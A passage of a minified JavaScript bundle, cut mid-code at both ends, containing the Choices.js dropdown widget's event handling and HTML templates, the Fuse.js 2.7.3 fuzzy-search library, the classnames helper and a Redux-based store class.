target=e.target;if(target===this.choiceList&&this.isIe11&&(this.isScrollingOnIe=!0),this.containerOuter.contains(target)&&target!==this.input){var foundTarget=void 0,activeItems=this.store.getItemsFilteredByActive(),hasShiftKey=e.shiftKey;(foundTarget=(0,_utils.findAncestorByAttrName)(target,"data-button"))?this._handleButtonAction(activeItems,foundTarget):(foundTarget=(0,_utils.findAncestorByAttrName)(target,"data-item"))?this._handleItemAction(activeItems,foundTarget,hasShiftKey):(foundTarget=(0,_utils.findAncestorByAttrName)(target,"data-choice"))&&this._handleChoiceAction(activeItems,foundTarget),e.preventDefault()}}},{key:"_onClick",value:function _onClick(e){var target=e.target,hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState),activeItems=this.store.getItemsFilteredByActive();this.containerOuter.contains(target)?(target.hasAttribute("data-button")&&this._handleButtonAction(activeItems,target),hasActiveDropdown?this.isSelectOneElement&&target!==this.input&&!this.dropdown.contains(target)&&this.hideDropdown(!0):this.isTextElement?document.activeElement!==this.input&&this.input.focus():this.canSearch?this.showDropdown(!0):(this.showDropdown(),this.containerOuter.focus())):(activeItems.some((function(item){return item.highlighted}))&&this.unhighlightAll(),this.containerOuter.classList.remove(this.config.classNames.focusState),hasActiveDropdown&&this.hideDropdown())}},{key:"_onMouseOver",value:function _onMouseOver(e){(e.target===this.dropdown||this.dropdown.contains(e.target))&&e.target.hasAttribute("data-choice")&&this._highlightChoice(e.target)}},{key:"_onPaste",value:function _onPaste(e){e.target!==this.input||this.config.paste||e.preventDefault()}},{key:"_onFocus",value:function _onFocus(e){var _this17=this,target=e.target;if(this.containerOuter.contains(target)){var hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState);({text:function text(){target===_this17.input&&_this17.containerOuter.classList.add(_this17.config.classNames.focusState)},"select-one":function selectOne(){_this17.containerOuter.classList.add(_this17.config.classNames.focusState),target===_this17.input&&(hasActiveDropdown||_this17.showDropdown())},"select-multiple":function selectMultiple(){target===_this17.input&&(_this17.containerOuter.classList.add(_this17.config.classNames.focusState),hasActiveDropdown||_this17.showDropdown(!0))}})[this.passedElement.type]()}}},{key:"_onBlur",value:function _onBlur(e){var _this18=this,target=e.target;if(this.containerOuter.contains(target)&&!this.isScrollingOnIe){var activeItems=this.store.getItemsFilteredByActive(),hasActiveDropdown=this.dropdown.classList.contains(this.config.classNames.activeState),hasHighlightedItems=activeItems.some((function(item){return item.highlighted}));({text:function text(){target===_this18.input&&(_this18.containerOuter.classList.remove(_this18.config.classNames.focusState),hasHighlightedItems&&_this18.unhighlightAll(),hasActiveDropdown&&_this18.hideDropdown())},"select-one":function selectOne(){_this18.containerOuter.classList.remove(_this18.config.classNames.focusState),target===_this18.containerOuter&&hasActiveDropdown&&!_this18.canSearch&&_this18.hideDropdown(),target===_this18.input&&hasActiveDropdown&&_this18.hideDropdown()},"select-multiple":function selectMultiple(){target===_this18.input&&(_this18.containerOuter.classList.remove(_this18.config.classNames.focusState),hasActiveDropdown&&_this18.hideDropdown(),hasHighlightedItems&&_this18.unhighlightAll())}})[this.passedElement.type]()}else this.isScrollingOnIe=!1,this.input.focus()}},{key:"_regexFilter",value:function _regexFilter(value){if(!value)return!1;var regex=this.config.regexFilter;return new RegExp(regex.source,"i").test(value)}},{key:"_scrollToChoice",value:function _scrollToChoice(choice,direction){var _this19=this;if(choice){var dropdownHeight=this.choiceList.offsetHeight,choiceHeight=choice.offsetHeight,choicePos=choice.offsetTop+choiceHeight,containerScrollPos=this.choiceList.scrollTop+dropdownHeight,endPoint=direction>0?this.choiceList.scrollTop+choicePos-containerScrollPos:choice.offsetTop,animateScroll=function animateScroll(){var choiceListScrollTop=_this19.choiceList.scrollTop,continueAnimation=!1,easing=void 0,distance=void 0;direction>0?(distance=(easing=(endPoint-choiceListScrollTop)/4)>1?easing:1,_this19.choiceList.scrollTop=choiceListScrollTop+distance,choiceListScrollTop<endPoint&&(continueAnimation=!0)):(distance=(easing=(choiceListScrollTop-endPoint)/4)>1?easing:1,_this19.choiceList.scrollTop=choiceListScrollTop-distance,choiceListScrollTop>endPoint&&(continueAnimation=!0)),continueAnimation&&requestAnimationFrame((function(time){animateScroll()}))};requestAnimationFrame((function(time){animateScroll()}))}}},{key:"_highlightChoice",value:function _highlightChoice(){var _this20=this,el=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,choices=Array.from(this.dropdown.querySelectorAll("[data-choice-selectable]")),passedEl=el;choices&&choices.length&&(Array.from(this.dropdown.querySelectorAll("."+this.config.classNames.highlightedState)).forEach((function(choice){choice.classList.remove(_this20.config.classNames.highlightedState),choice.setAttribute("aria-selected","false")})),passedEl?this.highlightPosition=choices.indexOf(passedEl):(passedEl=choices.length>this.highlightPosition?choices[this.highlightPosition]:choices[choices.length-1])||(passedEl=choices[0]),passedEl.classList.add(this.config.classNames.highlightedState),passedEl.setAttribute("aria-selected","true"),this.containerOuter.setAttribute("aria-activedescendant",passedEl.id))}},{key:"_addItem",value:function _addItem(value){var label=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,choiceId=arguments.length>2&&void 0!==arguments[2]?arguments[2]:-1,groupId=arguments.length>3&&void 0!==arguments[3]?arguments[3]:-1,customProperties=arguments.length>4&&void 0!==arguments[4]?arguments[4]:null,placeholder=arguments.length>5&&void 0!==arguments[5]&&arguments[5],keyCode=arguments.length>6&&void 0!==arguments[6]?arguments[6]:null,passedValue=(0,_utils.isType)("String",value)?value.trim():value,passedKeyCode=keyCode,items=this.store.getItems(),passedLabel=label||passedValue,passedOptionId=parseInt(choiceId,10)||-1,group=groupId>=0?this.store.getGroupById(groupId):null,id=items?items.length+1:1;return this.config.prependValue&&(passedValue=this.config.prependValue+passedValue.toString()),this.config.appendValue&&(passedValue+=this.config.appendValue.toString()),this.store.dispatch((0,_index3.addItem)(passedValue,passedLabel,id,passedOptionId,groupId,customProperties,placeholder,passedKeyCode)),this.isSelectOneElement&&this.removeActiveItems(id),group&&group.value?(0,_utils.triggerEvent)(this.passedElement,"addItem",{id:id,value:passedValue,label:passedLabel,groupValue:group.value,keyCode:passedKeyCode}):(0,_utils.triggerEvent)(this.passedElement,"addItem",{id:id,value:passedValue,label:passedLabel,keyCode:passedKeyCode}),this}},{key:"_removeItem",value:function _removeItem(item){if(!item||!(0,_utils.isType)("Object",item))return this;var id=item.id,value=item.value,label=item.label,choiceId=item.choiceId,groupId=item.groupId,group=groupId>=0?this.store.getGroupById(groupId):null;return this.store.dispatch((0,_index3.removeItem)(id,choiceId)),group&&group.value?(0,_utils.triggerEvent)(this.passedElement,"removeItem",{id:id,value:value,label:label,groupValue:group.value}):(0,_utils.triggerEvent)(this.passedElement,"removeItem",{id:id,value:value,label:label}),this}},{key:"_addChoice",value:function _addChoice(value){var label=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,isSelected=arguments.length>2&&void 0!==arguments[2]&&arguments[2],isDisabled=arguments.length>3&&void 0!==arguments[3]&&arguments[3],groupId=arguments.length>4&&void 0!==arguments[4]?arguments[4]:-1,customProperties=arguments.length>5&&void 0!==arguments[5]?arguments[5]:null,placeholder=arguments.length>6&&void 0!==arguments[6]&&arguments[6],keyCode=arguments.length>7&&void 0!==arguments[7]?arguments[7]:null;if(null!=value){var choices=this.store.getChoices(),choiceLabel=label||value,choiceId=choices?choices.length+1:1,choiceElementId=this.baseId+"-"+this.idNames.itemChoice+"-"+choiceId;this.store.dispatch((0,_index3.addChoice)(value,choiceLabel,choiceId,groupId,isDisabled,choiceElementId,customProperties,placeholder,keyCode)),isSelected&&this._addItem(value,choiceLabel,choiceId,void 0,customProperties,placeholder,keyCode)}}},{key:"_clearChoices",value:function _clearChoices(){this.store.dispatch((0,_index3.clearChoices)())}},{key:"_addGroup",value:function _addGroup(group,id){var _this21=this,valueKey=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"value",labelKey=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"label",groupChoices=(0,_utils.isType)("Object",group)?group.choices:Array.from(group.getElementsByTagName("OPTION")),groupId=id||Math.floor((new Date).valueOf()*Math.random()),isDisabled=!!group.disabled&&group.disabled;groupChoices?(this.store.dispatch((0,_index3.addGroup)(group.label,groupId,!0,isDisabled)),groupChoices.forEach((function(option){var isOptDisabled=option.disabled||option.parentNode&&option.parentNode.disabled;_this21._addChoice(option[valueKey],(0,_utils.isType)("Object",option)?option[labelKey]:option.innerHTML,option.selected,isOptDisabled,groupId,option.customProperties,option.placeholder)}))):this.store.dispatch((0,_index3.addGroup)(group.label,group.id,!1,group.disabled))}},{key:"_getTemplate",value:function _getTemplate(template){if(!template)return null;for(var templates=this.config.templates,_len=arguments.length,args=Array(_len>1?_len-1:0),_key=1;_key<_len;_key++)args[_key-1]=arguments[_key];return templates[template].apply(templates,args)}},{key:"_createTemplates",value:function _createTemplates(){var _this22=this,globalClasses=this.config.classNames,templates={containerOuter:function containerOuter(direction){return(0,_utils.strToEl)('\n          <div\n            class="'+globalClasses.containerOuter+'"\n            '+(_this22.isSelectElement?_this22.config.searchEnabled?'role="combobox" aria-autocomplete="list"':'role="listbox"':"")+'\n            data-type="'+_this22.passedElement.type+'"\n            '+(_this22.isSelectOneElement?'tabindex="0"':"")+'\n            aria-haspopup="true"\n            aria-expanded="false"\n            dir="'+direction+'"\n            >\n          </div>\n        ')},containerInner:function containerInner(){return(0,_utils.strToEl)('\n          <div class="'+globalClasses.containerInner+'"></div>\n        ')},itemList:function itemList(){var _classNames,localClasses=(0,_classnames2.default)(globalClasses.list,(_defineProperty(_classNames={},globalClasses.listSingle,_this22.isSelectOneElement),_defineProperty(_classNames,globalClasses.listItems,!_this22.isSelectOneElement),_classNames));return(0,_utils.strToEl)('\n          <div class="'+localClasses+'"></div>\n        ')},placeholder:function placeholder(value){return(0,_utils.strToEl)('\n          <div class="'+globalClasses.placeholder+'">\n            '+value+"\n          </div>\n        ")},item:function item(data){var _classNames2,_classNames3,localClasses=(0,_classnames2.default)(globalClasses.item,(_defineProperty(_classNames2={},globalClasses.highlightedState,data.highlighted),_defineProperty(_classNames2,globalClasses.itemSelectable,!data.highlighted),_defineProperty(_classNames2,globalClasses.placeholder,data.placeholder),_classNames2));return _this22.config.removeItemButton?(localClasses=(0,_classnames2.default)(globalClasses.item,(_defineProperty(_classNames3={},globalClasses.highlightedState,data.highlighted),_defineProperty(_classNames3,globalClasses.itemSelectable,!data.disabled),_defineProperty(_classNames3,globalClasses.placeholder,data.placeholder),_classNames3)),(0,_utils.strToEl)('\n            <div\n              class="'+localClasses+'"\n              data-item\n              data-id="'+data.id+'"\n              data-value="'+data.value+'"\n              data-deletable\n              '+(data.active?'aria-selected="true"':"")+"\n              "+(data.disabled?'aria-disabled="true"':"")+"\n              >\n              "+data.label+'\x3c!--\n           --\x3e<button\n                type="button"\n                class="'+globalClasses.button+'"\n                data-button\n                aria-label="Remove item: \''+data.value+"'\"\n                >\n                Remove item\n              </button>\n            </div>\n          ")):(0,_utils.strToEl)('\n          <div\n            class="'+localClasses+'"\n            data-item\n            data-id="'+data.id+'"\n            data-value="'+data.value+'"\n            '+(data.active?'aria-selected="true"':"")+"\n            "+(data.disabled?'aria-disabled="true"':"")+"\n            >\n            "+data.label+"\n          </div>\n        ")},choiceList:function choiceList(){return(0,_utils.strToEl)('\n          <div\n            class="'+globalClasses.list+'"\n            dir="ltr"\n            role="listbox"\n            '+(_this22.isSelectOneElement?"":'aria-multiselectable="true"')+"\n            >\n          </div>\n        ")},choiceGroup:function choiceGroup(data){var localClasses=(0,_classnames2.default)(globalClasses.group,_defineProperty({},globalClasses.itemDisabled,data.disabled));return(0,_utils.strToEl)('\n          <div\n            class="'+localClasses+'"\n            data-group\n            data-id="'+data.id+'"\n            data-value="'+data.value+'"\n            role="group"\n            '+(data.disabled?'aria-disabled="true"':"")+'\n            >\n            <div class="'+globalClasses.groupHeading+'">'+data.value+"</div>\n          </div>\n        ")},choice:function choice(data){var _classNames5,localClasses=(0,_classnames2.default)(globalClasses.item,globalClasses.itemChoice,(_defineProperty(_classNames5={},globalClasses.itemDisabled,data.disabled),_defineProperty(_classNames5,globalClasses.itemSelectable,!data.disabled),_defineProperty(_classNames5,globalClasses.placeholder,data.placeholder),_classNames5));return(0,_utils.strToEl)('\n          <div\n            class="'+localClasses+'"\n            data-select-text="'+_this22.config.itemSelectText+'"\n            data-choice\n            data-id="'+data.id+'"\n            data-value="'+data.value+'"\n            '+(data.disabled?'data-choice-disabled aria-disabled="true"':"data-choice-selectable")+'\n            id="'+data.elementId+'"\n            '+(data.groupId>0?'role="treeitem"':'role="option"')+"\n            >\n            "+data.label+"\n          </div>\n        ")},input:function input(){var localClasses=(0,_classnames2.default)(globalClasses.input,globalClasses.inputCloned);return(0,_utils.strToEl)('\n          <input\n            type="text"\n            class="'+localClasses+'"\n            autocomplete="off"\n            autocapitalize="off"\n            spellcheck="false"\n            role="textbox"\n            aria-autocomplete="list"\n            >\n        ')},dropdown:function dropdown(){var localClasses=(0,_classnames2.default)(globalClasses.list,globalClasses.listDropdown);return(0,_utils.strToEl)('\n          <div\n            class="'+localClasses+'"\n            aria-expanded="false"\n            >\n          </div>\n        ')},notice:function notice(label){var _classNames6,type=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",localClasses=(0,_classnames2.default)(globalClasses.item,globalClasses.itemChoice,(_defineProperty(_classNames6={},globalClasses.noResults,"no-results"===type),_defineProperty(_classNames6,globalClasses.noChoices,"no-choices"===type),_classNames6));return(0,_utils.strToEl)('\n          <div class="'+localClasses+'">\n            '+label+"\n          </div>\n        ")},option:function option(data){return(0,_utils.strToEl)('\n          <option value="'+data.value+'" selected>'+data.label+"</option>\n        ")}},callbackTemplate=this.config.callbackOnCreateTemplates,userTemplates={};callbackTemplate&&(0,_utils.isType)("Function",callbackTemplate)&&(userTemplates=callbackTemplate.call(this,_utils.strToEl)),this.config.templates=(0,_utils.extend)(templates,userTemplates)}},{key:"_setLoading",value:function _setLoading(isLoading){this.store.dispatch((0,_index3.setIsLoading)(isLoading))}},{key:"_createInput",value:function _createInput(){var _this23=this,direction=this.passedElement.getAttribute("dir")||"ltr",containerOuter=this._getTemplate("containerOuter",direction),containerInner=this._getTemplate("containerInner"),itemList=this._getTemplate("itemList"),choiceList=this._getTemplate("choiceList"),input=this._getTemplate("input"),dropdown=this._getTemplate("dropdown");this.containerOuter=containerOuter,this.containerInner=containerInner,this.input=input,this.choiceList=choiceList,this.itemList=itemList,this.dropdown=dropdown,this.passedElement.classList.add(this.config.classNames.input,this.config.classNames.hiddenState),this.passedElement.tabIndex="-1";var origStyle=this.passedElement.getAttribute("style");if(Boolean(origStyle)&&this.passedElement.setAttribute("data-choice-orig-style",origStyle),this.passedElement.setAttribute("style","display:none;"),this.passedElement.setAttribute("aria-hidden","true"),this.passedElement.setAttribute("data-choice","active"),(0,_utils.wrap)(this.passedElement,containerInner),(0,_utils.wrap)(containerInner,containerOuter),this.isSelectOneElement?input.placeholder=this.config.searchPlaceholderValue||"":this.placeholder&&(input.placeholder=this.placeholder,input.style.width=(0,_utils.getWidthOfInput)(input)),this.config.addItems||this.disable(),containerOuter.appendChild(containerInner),containerOuter.appendChild(dropdown),containerInner.appendChild(itemList),this.isTextElement||dropdown.appendChild(choiceList),this.isSelectMultipleElement||this.isTextElement?containerInner.appendChild(input):this.canSearch&&dropdown.insertBefore(input,dropdown.firstChild),this.isSelectElement){var passedGroups=Array.from(this.passedElement.getElementsByTagName("OPTGROUP"));if(this.highlightPosition=0,this.isSearching=!1,this._setLoading(!0),passedGroups&&passedGroups.length)passedGroups.forEach((function(group){_this23._addGroup(group,group.id||null)}));else{var passedOptions=Array.from(this.passedElement.options),filter=this.config.sortFilter,allChoices=this.presetChoices;passedOptions.forEach((function(o){allChoices.push({value:o.value,label:o.innerHTML,selected:o.selected,disabled:o.disabled||o.parentNode.disabled,placeholder:o.hasAttribute("placeholder")})})),this.config.shouldSort&&allChoices.sort(filter);var hasSelectedChoice=allChoices.some((function(choice){return choice.selected}));allChoices.forEach((function(choice,index){if(_this23.isSelectOneElement){var shouldPreselect=hasSelectedChoice||!hasSelectedChoice&&index>0;_this23._addChoice(choice.value,choice.label,!shouldPreselect||choice.selected,!!shouldPreselect&&choice.disabled,void 0,choice.customProperties,choice.placeholder)}else _this23._addChoice(choice.value,choice.label,choice.selected,choice.disabled,void 0,choice.customProperties,choice.placeholder)}))}this._setLoading(!1)}else this.isTextElement&&this.presetItems.forEach((function(item){var itemType=(0,_utils.getType)(item);if("Object"===itemType){if(!item.value)return;_this23._addItem(item.value,item.label,item.id,void 0,item.customProperties,item.placeholder)}else"String"===itemType&&_this23._addItem(item)}))}}]),Choices}();module.exports=Choices},function(module,exports,__webpack_require__){!function(global){"use strict";function log(){console.log.apply(console,arguments)}var defaultOptions={id:null,caseSensitive:!1,include:[],shouldSort:!0,searchFn:BitapSearcher,sortFn:function(a,b){return a.score-b.score},getFn:function deepValue(obj,path,list){var firstSegment,remaining,dotIndex,value,i,len;if(path){if(-1!==(dotIndex=path.indexOf("."))?(firstSegment=path.slice(0,dotIndex),remaining=path.slice(dotIndex+1)):firstSegment=path,null!=(value=obj[firstSegment]))if(remaining||"string"!=typeof value&&"number"!=typeof value)if(isArray(value))for(i=0,len=value.length;i<len;i++)deepValue(value[i],remaining,list);else remaining&&deepValue(value,remaining,list);else list.push(value)}else list.push(obj);return list},keys:[],verbose:!1,tokenize:!1,matchAllTokens:!1,tokenSeparator:/ +/g,minMatchCharLength:1,findAllMatches:!1};function Fuse(list,options){var key;for(key in this.list=list,this.options=options=options||{},defaultOptions)defaultOptions.hasOwnProperty(key)&&("boolean"==typeof defaultOptions[key]?this.options[key]=key in options?options[key]:defaultOptions[key]:this.options[key]=options[key]||defaultOptions[key])}function isArray(obj){return"[object Array]"===Object.prototype.toString.call(obj)}function BitapSearcher(pattern,options){options=options||{},this.options=options,this.options.location=options.location||BitapSearcher.defaultOptions.location,this.options.distance="distance"in options?options.distance:BitapSearcher.defaultOptions.distance,this.options.threshold="threshold"in options?options.threshold:BitapSearcher.defaultOptions.threshold,this.options.maxPatternLength=options.maxPatternLength||BitapSearcher.defaultOptions.maxPatternLength,this.pattern=options.caseSensitive?pattern:pattern.toLowerCase(),this.patternLen=pattern.length,this.patternLen<=this.options.maxPatternLength&&(this.matchmask=1<<this.patternLen-1,this.patternAlphabet=this._calculatePatternAlphabet())}Fuse.VERSION="2.7.3",Fuse.prototype.set=function(list){return this.list=list,list},Fuse.prototype.search=function(pattern){return this.options.verbose&&log("\nSearch term:",pattern,"\n"),this.pattern=pattern,this.results=[],this.resultMap={},this._keyMap=null,this._prepareSearchers(),this._startSearch(),this._computeScore(),this._sort(),this._format()},Fuse.prototype._prepareSearchers=function(){var options=this.options,pattern=this.pattern,searchFn=options.searchFn,tokens=pattern.split(options.tokenSeparator),i=0,len=tokens.length;if(this.options.tokenize)for(this.tokenSearchers=[];i<len;i++)this.tokenSearchers.push(new searchFn(tokens[i],options));this.fullSeacher=new searchFn(pattern,options)},Fuse.prototype._startSearch=function(){var key,weight,i,j,getFn=this.options.getFn,list=this.list,listLen=list.length,keys=this.options.keys,keysLen=keys.length,item=null;if("string"==typeof list[0])for(i=0;i<listLen;i++)this._analyze("",list[i],i,i);else for(this._keyMap={},i=0;i<listLen;i++)for(item=list[i],j=0;j<keysLen;j++){if("string"!=typeof(key=keys[j])){if(weight=1-key.weight||1,this._keyMap[key.name]={weight:weight},key.weight<=0||key.weight>1)throw new Error("Key weight has to be > 0 and <= 1");key=key.name}else this._keyMap[key]={weight:1};this._analyze(key,getFn(item,key,[]),item,i)}},Fuse.prototype._analyze=function(key,text,entity,index){var words,scores,existingResult,averageScore,finalScore,scoresLen,mainSearchResult,tokenSearcher,termScores,word,tokenSearchResult,hasMatchInText,checkTextMatches,i,j,options=this.options,exists=!1;if(null!=text){scores=[];var numTextMatches=0;if("string"==typeof text){if(words=text.split(options.tokenSeparator),options.verbose&&log("---------\nKey:",key),this.options.tokenize){for(i=0;i<this.tokenSearchers.length;i++){for(tokenSearcher=this.tokenSearchers[i],options.verbose&&log("Pattern:",tokenSearcher.pattern),termScores=[],hasMatchInText=!1,j=0;j<words.length;j++){word=words[j];var obj={};(tokenSearchResult=tokenSearcher.search(word)).isMatch?(obj[word]=tokenSearchResult.score,exists=!0,hasMatchInText=!0,scores.push(tokenSearchResult.score)):(obj[word]=1,this.options.matchAllTokens||scores.push(1)),termScores.push(obj)}hasMatchInText&&numTextMatches++,options.verbose&&log("Token scores:",termScores)}for(averageScore=scores[0],scoresLen=scores.length,i=1;i<scoresLen;i++)averageScore+=scores[i];averageScore/=scoresLen,options.verbose&&log("Token score average:",averageScore)}mainSearchResult=this.fullSeacher.search(text),options.verbose&&log("Full text score:",mainSearchResult.score),finalScore=mainSearchResult.score,void 0!==averageScore&&(finalScore=(finalScore+averageScore)/2),options.verbose&&log("Score average:",finalScore),checkTextMatches=!this.options.tokenize||!this.options.matchAllTokens||numTextMatches>=this.tokenSearchers.length,options.verbose&&log("Check Matches",checkTextMatches),(exists||mainSearchResult.isMatch)&&checkTextMatches&&((existingResult=this.resultMap[index])?existingResult.output.push({key:key,score:finalScore,matchedIndices:mainSearchResult.matchedIndices}):(this.resultMap[index]={item:entity,output:[{key:key,score:finalScore,matchedIndices:mainSearchResult.matchedIndices}]},this.results.push(this.resultMap[index])))}else if(isArray(text))for(i=0;i<text.length;i++)this._analyze(key,text[i],entity,index)}},Fuse.prototype._computeScore=function(){var i,j,totalScore,output,scoreLen,weight,bestScore,nScore,keyMap=this._keyMap,results=this.results;for(this.options.verbose&&log("\n\nComputing score:\n"),i=0;i<results.length;i++){for(totalScore=0,scoreLen=(output=results[i].output).length,bestScore=1,j=0;j<scoreLen;j++)nScore=output[j].score*(weight=keyMap?keyMap[output[j].key].weight:1),1!==weight?bestScore=Math.min(bestScore,nScore):(totalScore+=nScore,output[j].nScore=nScore);results[i].score=1===bestScore?totalScore/scoreLen:bestScore,this.options.verbose&&log(results[i])}},Fuse.prototype._sort=function(){var options=this.options;options.shouldSort&&(options.verbose&&log("\n\nSorting...."),this.results.sort(options.sortFn))},Fuse.prototype._format=function(){var i,len,replaceValue,getItemAtIndex,options=this.options,getFn=options.getFn,finalOutput=[],results=this.results,include=options.include;for(options.verbose&&log("\n\nOutput:\n\n",results),replaceValue=options.id?function(index){results[index].item=getFn(results[index].item,options.id,[])[0]}:function(){},getItemAtIndex=function(index){var data,j,output,_item,_result,record=results[index];if(include.length>0){if(data={item:record.item},-1!==include.indexOf("matches"))for(output=record.output,data.matches=[],j=0;j<output.length;j++)_result={indices:(_item=output[j]).matchedIndices},_item.key&&(_result.key=_item.key),data.matches.push(_result);-1!==include.indexOf("score")&&(data.score=results[index].score)}else data=record.item;return data},i=0,len=results.length;i<len;i++)replaceValue(i),finalOutput.push(getItemAtIndex(i));return finalOutput},BitapSearcher.defaultOptions={location:0,distance:100,threshold:.6,maxPatternLength:32},BitapSearcher.prototype._calculatePatternAlphabet=function(){var mask={},i=0;for(i=0;i<this.patternLen;i++)mask[this.pattern.charAt(i)]=0;for(i=0;i<this.patternLen;i++)mask[this.pattern.charAt(i)]|=1<<this.pattern.length-i-1;return mask},BitapSearcher.prototype._bitapScore=function(errors,location){var accuracy=errors/this.patternLen,proximity=Math.abs(this.options.location-location);return this.options.distance?accuracy+proximity/this.options.distance:proximity?1:accuracy},BitapSearcher.prototype.search=function(text){var i,j,textLen,findAllMatches,location,threshold,bestLoc,binMin,binMid,binMax,start,finish,bitArr,lastBitArr,charMatch,score,locations,matches,isMatched,matchMask,matchedIndices,matchesLen,match,options=this.options;if(text=options.caseSensitive?text:text.toLowerCase(),this.pattern===text)return{isMatch:!0,score:0,matchedIndices:[[0,text.length-1]]};if(this.patternLen>options.maxPatternLength){if(isMatched=!!(matches=text.match(new RegExp(this.pattern.replace(options.tokenSeparator,"|")))))for(matchedIndices=[],i=0,matchesLen=matches.length;i<matchesLen;i++)match=matches[i],matchedIndices.push([text.indexOf(match),match.length-1]);return{isMatch:isMatched,score:isMatched?.5:1,matchedIndices:matchedIndices}}for(findAllMatches=options.findAllMatches,location=options.location,textLen=text.length,threshold=options.threshold,bestLoc=text.indexOf(this.pattern,location),matchMask=[],i=0;i<textLen;i++)matchMask[i]=0;for(-1!=bestLoc&&(threshold=Math.min(this._bitapScore(0,bestLoc),threshold),-1!=(bestLoc=text.lastIndexOf(this.pattern,location+this.patternLen))&&(threshold=Math.min(this._bitapScore(0,bestLoc),threshold))),bestLoc=-1,score=1,locations=[],binMax=this.patternLen+textLen,i=0;i<this.patternLen;i++){for(binMin=0,binMid=binMax;binMin<binMid;)this._bitapScore(i,location+binMid)<=threshold?binMin=binMid:binMax=binMid,binMid=Math.floor((binMax-binMin)/2+binMin);for(binMax=binMid,start=Math.max(1,location-binMid+1),finish=findAllMatches?textLen:Math.min(location+binMid,textLen)+this.patternLen,(bitArr=Array(finish+2))[finish+1]=(1<<i)-1,j=finish;j>=start;j--)if((charMatch=this.patternAlphabet[text.charAt(j-1)])&&(matchMask[j-1]=1),bitArr[j]=(bitArr[j+1]<<1|1)&charMatch,0!==i&&(bitArr[j]|=(lastBitArr[j+1]|lastBitArr[j])<<1|1|lastBitArr[j+1]),bitArr[j]&this.matchmask&&(score=this._bitapScore(i,j-1))<=threshold){if(threshold=score,bestLoc=j-1,locations.push(bestLoc),bestLoc<=location)break;start=Math.max(1,2*location-bestLoc)}if(this._bitapScore(i+1,location)>threshold)break;lastBitArr=bitArr}return{isMatch:bestLoc>=0,score:0===score?.001:score,matchedIndices:matchedIndices=this._getMatchedIndices(matchMask)}},BitapSearcher.prototype._getMatchedIndices=function(matchMask){for(var match,matchedIndices=[],start=-1,end=-1,i=0,len=matchMask.length;i<len;i++)(match=matchMask[i])&&-1===start?start=i:match||-1===start||((end=i-1)-start+1>=this.options.minMatchCharLength&&matchedIndices.push([start,end]),start=-1);return matchMask[i-1]&&i-1-start+1>=this.options.minMatchCharLength&&matchedIndices.push([start,i-1]),matchedIndices},module.exports=Fuse}()},function(module,exports,__webpack_require__){var __WEBPACK_AMD_DEFINE_RESULT__;!function(){"use strict";var hasOwn={}.hasOwnProperty;function classNames(){for(var classes=[],i=0;i<arguments.length;i++){var arg=arguments[i];if(arg){var argType=typeof arg;if("string"===argType||"number"===argType)classes.push(arg);else if(Array.isArray(arg))classes.push(classNames.apply(null,arg));else if("object"===argType)for(var key in arg)hasOwn.call(arg,key)&&arg[key]&&classes.push(key)}}return classes.join(" ")}void 0!==module&&module.exports?module.exports=classNames:void 0===(__WEBPACK_AMD_DEFINE_RESULT__=function(){return classNames}.apply(exports,[]))||(module.exports=__WEBPACK_AMD_DEFINE_RESULT__)}()},function(module,exports,__webpack_require__){"use strict";Object.defineProperty(exports,"__esModule",{value:!0});var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}(),_redux=__webpack_require__(5),_index2=function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}(__webpack_require__(26));var Store=function(){function Store(){!function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}(this,Store),this.store=(0,_redux.createStore)(_index2.default,window.devToolsExtension?window.devToolsExtension():void 0)}return _createClass(Store,[{key:"getState",value:function getState(){return this.store.getState()}},{key:"dispatch",value:function dispatch(action){this.store.dispatch(action)}},{key:"subscribe",value:function subscribe(onChange){this.store.subscribe(onChange)}},{key:"isLoading",value:function isLoading(){return this.store.getState().general.loading}},{key:"getItems",value:function getItems(){return this.store.getState().items}},{key:"getItemsFilteredByActive",value:function getItemsFilteredByActive(){return this.getItems().filter((function(item){return!0===item.active}),[])}},{key:"getItemsReducedToValues",value:function getItemsReducedToValues(){return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.getItems()).reduce((function(prev,current){return prev.push(current.value),prev}),[])}},{key:"getChoices",value:function getChoices(){return this.store.getState().choices}},{key:"getChoicesFilteredByActive",value:function getChoicesFilteredByActive(){return this.getChoices().filter((function(choice){return!0===choice.active}))}},{key:"getChoicesFilteredBySelectable",value:function getChoicesFilteredBySelectable(){return this.getChoices().filter((function(choice){return!0!==choice.disabled}))}},{key:"getSearchableChoices",value:function getSearchableChoices(){return this.getChoicesFilteredBySelectable().filter((function(choice){return!0!==choice.placeholder}))}},{key:"getChoiceById",value:function getChoiceById(id){return!!id&&this.getChoicesFilteredByActive().find((function(choice){return choice.id===parseInt(id,10)}))}},{key:"getGroups",value:function getGroups(){return this.store.getState().groups}},{key:"getGroupsFilteredByActive",value:function getGroupsFilteredByActive(){var groups=this.getGroups(),choices=this.getChoices();return groups.filter((function(group){var isActive=!0===group.active&&!1===group.disabled,hasActiveOptions=choices.some((function(choice){return!0===choice.active&&!1===choice.disabled}));return isActive&&hasActiveOptions}),[])}},{key:"getGroupById",value:function getGroupById(id){return this.getGroups().find((function(group){return group.id===id}))}},{key:"getPlaceholderChoice",value:function getPlaceholderChoice(){var choices=this.getChoices();return[].concat(function _toConsumableArray(arr){if(Array.isArray(arr)){for(var i=0,arr2=Array(arr.length);i<arr.length;i++)arr2[i]=arr[i];return arr2}return Array.from(arr)}(choices)).reverse().find((function(choice){return!0===choice.placeholder}))}}]),Store}();exports.default=Store,module.exports=Store},function(module,exports,__webpack_require__){"use 